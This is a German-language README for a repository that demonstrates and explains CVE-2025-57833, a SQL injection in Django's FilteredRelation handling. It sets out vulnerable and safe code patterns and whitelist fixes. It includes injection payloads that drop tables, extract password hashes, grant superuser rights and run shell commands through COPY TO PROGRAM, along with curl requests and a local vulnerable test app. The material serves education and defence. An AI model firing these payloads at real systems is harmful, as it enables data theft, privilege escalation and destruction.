
We've set up an environment to test CVE-2025-57833. This environment was built using AI, so it's subject to ongoing modification.
Dieses Repository demonstriert und erklärt CVE-2025-57833, eine kritische SQL-Injection-Schwachstelle in Djangos ORM, die die Versionen 4.2 vor 4.2.24, 5.1 vor 5.1.12 und 5.2 vor 5.2.6 betrifft.
CVSS-Wert: 9.8 (Kritisch)
Auswirkung: SQL-Injection, die zu Remote-Code-Ausführung (RCE) führt
Erforderliche Authentifizierung: Keine (Unauthentifizierter Angriff)
Django ORM (Objekt-relationales Mapping) ermöglicht Entwicklern die Interaktion mit Datenbanken mittels Python-Code anstelle von rohem SQL. Beispiel:
# Statt rohem SQL: SELECT * FROM books WHERE author_id = 1
books = Book.objects.filter(author_id=1)
FilteredRelation ist eine Django-Funktion, mit der Sie Tabellen mit zusätzlichen Filterbedingungen verknüpfen können:
# Bücher mit Autoren verknüpfen, aber nur aktive Autoren
Book.objects.annotate(
active_author=FilteredRelation('author', condition=Q(author__is_active=True))
).select_related('active_author')
Manchmal müssen Entwickler Feldnamen basierend auf Benutzereingaben dynamisch erstellen:
# Benutzer möchte nach verschiedenen Kriterien suchen
search_field = request.POST.get('field_name') # Benutzereingabe: "title", "author", etc.
# Dynamische Felderstellung mittels **kwargs
queryset.annotate(**{
search_field: FilteredRelation('some_relation')
})
Die Schwachstelle tritt auf, wenn nicht bereinigte Benutzereingaben als Dictionary-Schlüssel in annotate() oder alias() mit FilteredRelation verwendet werden. Hier der schrittweise Prozess:
# So sieht angreifbarer Code aus:
user_input = request.POST.get('search_field') # Angreifer kontrolliert dies
# Die Schwachstelle liegt hier – Benutzereingabe wird zum SQL-Spaltenalias
queryset.annotate(**{
user_input: FilteredRelation("author") # ❌ GEFÄHRLICH
})
Ein Angreifer sendet bösartige Eingaben:
user_input = "malicious_field'; DROP TABLE users; --"
Django generiert SQL wie folgt:
SELECT ...
FROM book
LEFT OUTER JOIN author AS malicious_field'; DROP TABLE users; -- ON ...
Das bösartige SQL wird ausgeführt, potenziell:
Viele Django-Anwendungen verfügen über eine Suchfunktion, bei der Benutzer das zu durchsuchende Feld auswählen können:
# views.py – Typisches angreifbares Muster
def search_books(request):
search_field = request.POST.get('search_by') # "author", "title", "category"
search_value = request.POST.get('search_value')
# Entwickler denkt, das sei sicher – IST ES NICHT!
books = Book.objects.annotate(**{
f"filtered_{search_field}": FilteredRelation(
search_field,
condition=Q(**{f"{search_field}__name__icontains": search_value})
)
})
return JsonResponse({'books': list(books.values())})
# Angreifer sendet diese POST-Anfrage:
curl -X POST http://example.com/search/ \
-d "search_by=author'; DROP TABLE auth_user; --" \
-d "search_value=anything"
# NIEMALS SO MACHEN – Direkte Benutzereingabe als Dictionary-Schlüssel
user_field = request.POST.get('field')
queryset.annotate(**{
user_field: FilteredRelation('relation') # SQL-Injection!
})
# SICHER – Whitelist-Validierung verwenden
ALLOWED_FIELDS = ['author', 'category', 'publisher']
user_field = request.POST.get('field')
if user_field not in ALLOWED_FIELDS:
raise ValidationError("Ungültiges Feld")
queryset.annotate(**{
user_field: FilteredRelation('relation') # Jetzt sicher
})
# SICHER – Statische Feldnamen verwenden
search_type = request.POST.get('search_type')
if search_type == 'author':
queryset.annotate(filtered_author=FilteredRelation('author'))
elif search_type == 'category':
queryset.annotate(filtered_category=FilteredRelation('category'))
-- Sensible Daten extrahieren
'; SELECT username, password FROM auth_user; --
-- Daten ändern
'; UPDATE auth_user SET is_superuser = true WHERE id = 1; --
-- Systembefehle ausführen (PostgreSQL mit entsprechenden Erweiterungen)
'; COPY (SELECT '') TO PROGRAM 'rm -rf /tmp/*'; --
ALLOWED_FIELDS = ['author', 'title', 'category', 'publisher']
def safe_annotate(queryset, field_name):
if field_name not in ALLOWED_FIELDS:
raise ValidationError(f"Feld '{field_name}' nicht erlaubt")
return queryset.annotate(**{
field_name: FilteredRelation('relation')
})
# Statt dynamischer Feldnamen bedingte Logik verwenden
def get_filtered_queryset(search_type):
if search_type == 'author':
return queryset.annotate(result=FilteredRelation('author'))
elif search_type == 'category':
return queryset.annotate(result=FilteredRelation('category'))
else:
raise ValidationError("Ungültiger Suchtyp")
Aktualisieren Sie auf die neueste Django-Version:
Dieses Repository enthält eine vollständige Testumgebung:
# Die angreifbare Django-Anwendung ausführen
docker-compose up
# Die Schwachstelle testen
curl -X POST http://localhost:8000/api/vulnerable-search/ \
-H "Content-Type: application/json" \
-d '{"search_field": "malicious\"; DROP TABLE IF EXISTS test; --"}'
Ausführliche Testanweisungen finden Sie unter document/README.md.
Dieses Repository dient ausschließlich Bildungs- und defensiven Sicherheitszwecken. Nutzen Sie diese Informationen nicht, um Systeme anzugreifen, die Sie nicht besitzen oder für deren Test Sie keine Berechtigung haben.